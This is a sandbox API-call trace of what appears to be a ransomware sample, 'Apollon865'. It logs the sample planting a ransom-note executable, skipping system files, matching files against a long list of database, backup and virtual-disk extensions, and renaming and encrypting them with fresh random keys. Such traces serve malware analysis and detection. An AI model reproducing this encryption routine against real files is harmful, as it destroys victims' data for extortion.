	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="fcd") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="fdb") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="fic") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="fm5") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="fmp") returned 1
	[0054.403] lstrcmpiW (lpString1="T8PDT", lpString2="fmp12") returned 1
	[0054.403] lstrcmpiW (lpString1="T8PDT", lpString2="fmpsl") returned 1
	[0054.403] lstrcmpiW (lpString1="PDT", lpString2="fol") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="fp3") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="fp4") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="fp5") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="fp7") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="fpt") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="frm") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="gdb") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="gdb") returned 1
	[0054.404] lstrcmpiW (lpString1="8PDT", lpString2="grdb") returned -1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="gwi") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="hdb") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="his") returned 1
	[0054.404] lstrcmpiW (lpString1="DT", lpString2="ib") returned -1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="idb") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="ihx") returned 1
	[0054.404] lstrcmpiW (lpString1="8PDT", lpString2="itdb") returned -1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="itw") returned 1
	[0054.404] lstrcmpiW (lpString1="PDT", lpString2="jet") returned 1
	[0054.405] lstrcmpiW (lpString1="PDT", lpString2="jtx") returned 1
	[0054.405] lstrcmpiW (lpString1="PDT", lpString2="kdb") returned 1
	[0054.405] lstrcmpiW (lpString1="8PDT", lpString2="kexi") returned -1
	[0054.405] lstrcmpiW (lpString1="T8PDT", lpString2="kexic") returned 1
	[0054.405] lstrcmpiW (lpString1="T8PDT", lpString2="kexis") returned 1
	[0054.405] lstrcmpiW (lpString1="PDT", lpString2="lgc") returned 1
	[0054.405] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="YST9" | out: lpString1="YST9") returned="YST9"
	[0054.405] lstrlenW (lpString="YST9") returned 4
	[0054.405] lstrlenW (lpString="Apollon865") returned 10
	[0054.405] lstrlenW (lpString=".dll") returned 4
	[0054.405] lstrlenW (lpString=".lnk") returned 4
	[0054.405] lstrlenW (lpString=".ini") returned 4
	[0054.405] lstrlenW (lpString=".sys") returned 4
	[0054.405] lstrlenW (lpString="YST9") returned 4
	[0054.405] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="YST9YDT" | out: lpString1="YST9YDT") returned="YST9YDT"
	[0054.405] lstrlenW (lpString="YST9YDT") returned 7
	[0054.405] lstrlenW (lpString="Apollon865") returned 10
	[0054.405] lstrlenW (lpString=".dll") returned 4
	[0054.405] lstrcmpiW (lpString1="YST9YDT", lpString2=".dll") returned 1
	[0054.405] lstrlenW (lpString=".lnk") returned 4
	[0054.405] lstrcmpiW (lpString1="YST9YDT", lpString2=".lnk") returned 1
	[0054.405] lstrlenW (lpString=".ini") returned 4
	[0054.405] lstrcmpiW (lpString1="YST9YDT", lpString2=".ini") returned 1
	[0054.405] lstrlenW (lpString=".sys") returned 4
	[0054.406] lstrcmpiW (lpString1="YST9YDT", lpString2=".sys") returned 1
	[0054.406] lstrlenW (lpString="YST9YDT") returned 7
	[0054.406] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific"
	[0054.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5798 | out: hHeap=0x580000) returned 1
	[0054.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0054.406] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned 47
	[0054.406] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific"
	[0054.406] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.406] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.411] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.411] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38804e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38804e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0054.411] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.411] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.411] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.411] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x38804e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x38804e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.412] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.412] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.412] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.412] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.412] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apia", cAlternateFileName="")) returned 1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="Apollon865.txt.exe") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2=".") returned 1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="..") returned 1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="windows") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="bootmgr") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="temp") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="pagefile.sys") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="boot") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="ids.txt") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="ntuser.dat") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="perflogs") returned -1
	[0054.412] lstrcmpiW (lpString1="Apia", lpString2="MSBuild") returned -1
	[0054.412] lstrlenW (lpString="Apia") returned 4
	[0054.412] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\*") returned 49
	[0054.412] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Apia" | out: lpString1="Apia") returned="Apia"
	[0054.412] lstrlenW (lpString="Apia") returned 4
	[0054.413] lstrlenW (lpString="Apollon865") returned 10
	[0054.413] lstrlenW (lpString=".dll") returned 4
	[0054.413] lstrlenW (lpString=".lnk") returned 4
	[0054.413] lstrlenW (lpString=".ini") returned 4
	[0054.413] lstrlenW (lpString=".sys") returned 4
	[0054.413] lstrlenW (lpString="Apia") returned 4
	[0054.413] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Auckland" | out: lpString1="Auckland") returned="Auckland"
	[0054.413] lstrlenW (lpString="Auckland") returned 8
	[0054.413] lstrlenW (lpString="Apollon865") returned 10
	[0054.413] lstrlenW (lpString=".dll") returned 4
	[0054.413] lstrcmpiW (lpString1="Auckland", lpString2=".dll") returned 1
	[0054.413] lstrlenW (lpString=".lnk") returned 4
	[0054.413] lstrcmpiW (lpString1="Auckland", lpString2=".lnk") returned 1
	[0054.413] lstrlenW (lpString=".ini") returned 4
	[0054.413] lstrcmpiW (lpString1="Auckland", lpString2=".ini") returned 1
	[0054.413] lstrlenW (lpString=".sys") returned 4
	[0054.413] lstrcmpiW (lpString1="Auckland", lpString2=".sys") returned 1
	[0054.413] lstrlenW (lpString="Auckland") returned 8
	[0054.413] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Chatham" | out: lpString1="Chatham") returned="Chatham"
	[0054.413] lstrlenW (lpString="Chatham") returned 7
	[0054.413] lstrlenW (lpString="Apollon865") returned 10
	[0054.413] lstrlenW (lpString=".dll") returned 4
	[0054.413] lstrcmpiW (lpString1="Chatham", lpString2=".dll") returned 1
	[0054.413] lstrlenW (lpString=".lnk") returned 4
	[0054.413] lstrcmpiW (lpString1="Chatham", lpString2=".lnk") returned 1
	[0054.414] lstrlenW (lpString=".ini") returned 4
	[0054.414] lstrcmpiW (lpString1="Chatham", lpString2=".ini") returned 1
	[0054.414] lstrlenW (lpString=".sys") returned 4
	[0054.414] lstrcmpiW (lpString1="Chatham", lpString2=".sys") returned 1
	[0054.414] lstrlenW (lpString="Chatham") returned 7
	[0054.414] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Chuuk" | out: lpString1="Chuuk") returned="Chuuk"
	[0054.414] lstrlenW (lpString="Chuuk") returned 5
	[0054.414] lstrlenW (lpString="Apollon865") returned 10
	[0054.414] lstrlenW (lpString=".dll") returned 4
	[0054.414] lstrcmpiW (lpString1="Chuuk", lpString2=".dll") returned 1
	[0054.414] lstrlenW (lpString=".lnk") returned 4
	[0054.414] lstrcmpiW (lpString1="Chuuk", lpString2=".lnk") returned 1
	[0054.414] lstrlenW (lpString=".ini") returned 4
	[0054.414] lstrcmpiW (lpString1="Chuuk", lpString2=".ini") returned 1
	[0054.414] lstrlenW (lpString=".sys") returned 4
	[0054.414] lstrcmpiW (lpString1="Chuuk", lpString2=".sys") returned 1
	[0054.414] lstrlenW (lpString="Chuuk") returned 5
	[0054.414] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Easter" | out: lpString1="Easter") returned="Easter"
	[0054.414] lstrlenW (lpString="Easter") returned 6
	[0054.414] lstrlenW (lpString="Apollon865") returned 10
	[0054.414] lstrlenW (lpString=".dll") returned 4
	[0054.414] lstrcmpiW (lpString1="Easter", lpString2=".dll") returned 1
	[0054.414] lstrlenW (lpString=".lnk") returned 4
	[0054.414] lstrcmpiW (lpString1="Easter", lpString2=".lnk") returned 1
	[0054.414] lstrlenW (lpString=".ini") returned 4
	[0054.414] lstrcmpiW (lpString1="Easter", lpString2=".ini") returned 1
	[0054.414] lstrlenW (lpString=".sys") returned 4
	[0054.414] lstrcmpiW (lpString1="Easter", lpString2=".sys") returned 1
	[0054.414] lstrlenW (lpString="Easter") returned 6
	[0054.414] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Efate" | out: lpString1="Efate") returned="Efate"
	[0054.415] lstrlenW (lpString="Efate") returned 5
	[0054.415] lstrlenW (lpString="Apollon865") returned 10
	[0054.415] lstrlenW (lpString=".dll") returned 4
	[0054.415] lstrcmpiW (lpString1="Efate", lpString2=".dll") returned 1
	[0054.415] lstrlenW (lpString=".lnk") returned 4
	[0054.415] lstrcmpiW (lpString1="Efate", lpString2=".lnk") returned 1
	[0054.415] lstrlenW (lpString=".ini") returned 4
	[0054.415] lstrcmpiW (lpString1="Efate", lpString2=".ini") returned 1
	[0054.415] lstrlenW (lpString=".sys") returned 4
	[0054.415] lstrcmpiW (lpString1="Efate", lpString2=".sys") returned 1
	[0054.415] lstrlenW (lpString="Efate") returned 5
	[0054.415] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate.Apollon865") returned 64
	[0054.415] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\efate"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\efate.apollon865"), dwFlags=0x1) returned 1
	[0054.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\efate.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0054.416] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=233) returned 1
	[0054.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.416] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.416] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0054.417] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.417] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.418] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x150
	[0054.422] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0054.423] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.423] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.423] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.424] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.424] CloseHandle (hObject=0x150) returned 1
	[0054.424] CloseHandle (hObject=0x14c) returned 1
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.424] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.425] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Enderbury", cAlternateFileName="ENDERB~1")) returned 1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="Apollon865.txt.exe") returned 1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2=".") returned 1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="..") returned 1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="windows") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="bootmgr") returned 1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="temp") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="pagefile.sys") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="boot") returned 1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="ids.txt") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="ntuser.dat") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="perflogs") returned -1
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2="MSBuild") returned -1
	[0054.425] lstrlenW (lpString="Enderbury") returned 9
	[0054.425] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Efate") returned 53
	[0054.425] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Enderbury" | out: lpString1="Enderbury") returned="Enderbury"
	[0054.425] lstrlenW (lpString="Enderbury") returned 9
	[0054.425] lstrlenW (lpString="Apollon865") returned 10
	[0054.425] lstrlenW (lpString=".dll") returned 4
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2=".dll") returned 1
	[0054.425] lstrlenW (lpString=".lnk") returned 4
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2=".lnk") returned 1
	[0054.425] lstrlenW (lpString=".ini") returned 4
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2=".ini") returned 1
	[0054.425] lstrlenW (lpString=".sys") returned 4
	[0054.425] lstrcmpiW (lpString1="Enderbury", lpString2=".sys") returned 1
	[0054.425] lstrlenW (lpString="Enderbury") returned 9
	[0054.425] lstrlenW (lpString="bak") returned 3
	[0054.425] lstrcmpiW (lpString1="ury", lpString2="bak") returned 1
	[0054.425] lstrlenW (lpString="ba_") returned 3
	[0054.425] lstrcmpiW (lpString1="ury", lpString2="ba_") returned 1
	[0054.426] lstrlenW (lpString="dbb") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="dbb") returned 1
	[0054.426] lstrlenW (lpString="vmdk") returned 4
	[0054.426] lstrcmpiW (lpString1="bury", lpString2="vmdk") returned -1
	[0054.426] lstrlenW (lpString="rar") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="rar") returned 1
	[0054.426] lstrlenW (lpString="zip") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="zip") returned -1
	[0054.426] lstrlenW (lpString="tgz") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="tgz") returned 1
	[0054.426] lstrlenW (lpString="vbox") returned 4
	[0054.426] lstrcmpiW (lpString1="bury", lpString2="vbox") returned -1
	[0054.426] lstrlenW (lpString="vdi") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="vdi") returned -1
	[0054.426] lstrlenW (lpString="vhd") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="vhd") returned -1
	[0054.426] lstrlenW (lpString="vhdx") returned 4
	[0054.426] lstrcmpiW (lpString1="bury", lpString2="vhdx") returned -1
	[0054.426] lstrlenW (lpString="avhd") returned 4
	[0054.426] lstrcmpiW (lpString1="bury", lpString2="avhd") returned 1
	[0054.426] lstrlenW (lpString="db") returned 2
	[0054.426] lstrcmpiW (lpString1="ry", lpString2="db") returned 1
	[0054.426] lstrlenW (lpString="db2") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="db2") returned 1
	[0054.426] lstrlenW (lpString="db3") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="db3") returned 1
	[0054.426] lstrlenW (lpString="dbf") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="dbf") returned 1
	[0054.426] lstrlenW (lpString="mdf") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="mdf") returned 1
	[0054.426] lstrlenW (lpString="mdb") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="mdb") returned 1
	[0054.426] lstrlenW (lpString="sql") returned 3
	[0054.426] lstrcmpiW (lpString1="ury", lpString2="sql") returned 1
	[0054.427] lstrlenW (lpString="sqlite") returned 6
	[0054.427] lstrcmpiW (lpString1="erbury", lpString2="sqlite") returned -1
	[0054.427] lstrlenW (lpString="sqlite3") returned 7
	[0054.427] lstrcmpiW (lpString1="derbury", lpString2="sqlite3") returned -1
	[0054.427] lstrlenW (lpString="sqlitedb") returned 8
	[0054.427] lstrcmpiW (lpString1="nderbury", lpString2="sqlitedb") returned -1
	[0054.427] lstrlenW (lpString="xml") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="xml") returned -1
	[0054.427] lstrlenW (lpString="$er") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="$er") returned 1
	[0054.427] lstrlenW (lpString="4dd") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="4dd") returned 1
	[0054.427] lstrlenW (lpString="4dl") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="4dl") returned 1
	[0054.427] lstrlenW (lpString="^^^") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="^^^") returned 1
	[0054.427] lstrlenW (lpString="abs") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="abs") returned 1
	[0054.427] lstrlenW (lpString="abx") returned 3
	[0054.427] lstrcmpiW (lpString1="ury", lpString2="abx") returned 1
	[0054.427] lstrlenW (lpString="accdb") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accdb") returned 1
	[0054.427] lstrlenW (lpString="accdc") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accdc") returned 1
	[0054.427] lstrlenW (lpString="accde") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accde") returned 1
	[0054.427] lstrlenW (lpString="accdr") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accdr") returned 1
	[0054.427] lstrlenW (lpString="accdt") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accdt") returned 1
	[0054.427] lstrlenW (lpString="accdw") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accdw") returned 1
	[0054.427] lstrlenW (lpString="accft") returned 5
	[0054.427] lstrcmpiW (lpString1="rbury", lpString2="accft") returned 1
	[0054.427] lstrlenW (lpString="adb") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="adb") returned 1
	[0054.428] lstrlenW (lpString="adb") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="adb") returned 1
	[0054.428] lstrlenW (lpString="ade") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="ade") returned 1
	[0054.428] lstrlenW (lpString="adf") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="adf") returned 1
	[0054.428] lstrlenW (lpString="adn") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="adn") returned 1
	[0054.428] lstrlenW (lpString="adp") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="adp") returned 1
	[0054.428] lstrlenW (lpString="alf") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="alf") returned 1
	[0054.428] lstrlenW (lpString="ask") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="ask") returned 1
	[0054.428] lstrlenW (lpString="btr") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="btr") returned 1
	[0054.428] lstrlenW (lpString="cat") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="cat") returned 1
	[0054.428] lstrlenW (lpString="cdb") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="cdb") returned 1
	[0054.428] lstrlenW (lpString="ckp") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="ckp") returned 1
	[0054.428] lstrlenW (lpString="cma") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="cma") returned 1
	[0054.428] lstrlenW (lpString="cpd") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="cpd") returned 1
	[0054.428] lstrlenW (lpString="dacpac") returned 6
	[0054.428] lstrcmpiW (lpString1="erbury", lpString2="dacpac") returned 1
	[0054.428] lstrlenW (lpString="dad") returned 3
	[0054.428] lstrcmpiW (lpString1="ury", lpString2="dad") returned 1
	[0054.428] lstrlenW (lpString="dadiagrams") returned 10
	[0054.428] lstrlenW (lpString="daschema") returned 8
	[0054.428] lstrcmpiW (lpString1="nderbury", lpString2="daschema") returned 1
	[0054.429] lstrlenW (lpString="db-journal") returned 10
	[0054.429] lstrlenW (lpString="db-shm") returned 6
	[0054.429] lstrcmpiW (lpString1="erbury", lpString2="db-shm") returned 1
	[0054.429] lstrlenW (lpString="db-wal") returned 6
	[0054.429] lstrcmpiW (lpString1="erbury", lpString2="db-wal") returned 1
	[0054.429] lstrlenW (lpString="dbc") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dbc") returned 1
	[0054.429] lstrlenW (lpString="dbs") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dbs") returned 1
	[0054.429] lstrlenW (lpString="dbt") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dbt") returned 1
	[0054.429] lstrlenW (lpString="dbv") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dbv") returned 1
	[0054.429] lstrlenW (lpString="dbx") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dbx") returned 1
	[0054.429] lstrlenW (lpString="dcb") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dcb") returned 1
	[0054.429] lstrlenW (lpString="dct") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dct") returned 1
	[0054.429] lstrlenW (lpString="dcx") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="dcx") returned 1
	[0054.429] lstrlenW (lpString="ddl") returned 3
	[0054.429] lstrcmpiW (lpString1="ury", lpString2="ddl") returned 1
	[0054.429] lstrlenW (lpString="dlis") returned 4
